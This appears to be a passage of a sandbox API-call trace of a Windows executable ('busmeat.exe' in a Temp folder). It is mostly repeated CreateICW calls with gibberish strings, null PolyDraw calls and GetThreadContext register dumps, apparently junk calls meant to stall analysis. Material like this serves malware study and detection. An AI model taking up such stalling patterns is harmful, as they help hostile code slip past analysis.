[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.170] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.171] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.171] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.171] GetConsoleCP () returned 0x0
	[0066.171] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.171] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.172] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.172] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.172] GetConsoleCP () returned 0x0
	[0066.172] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.172] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.173] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.173] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.173] GetConsoleCP () returned 0x0
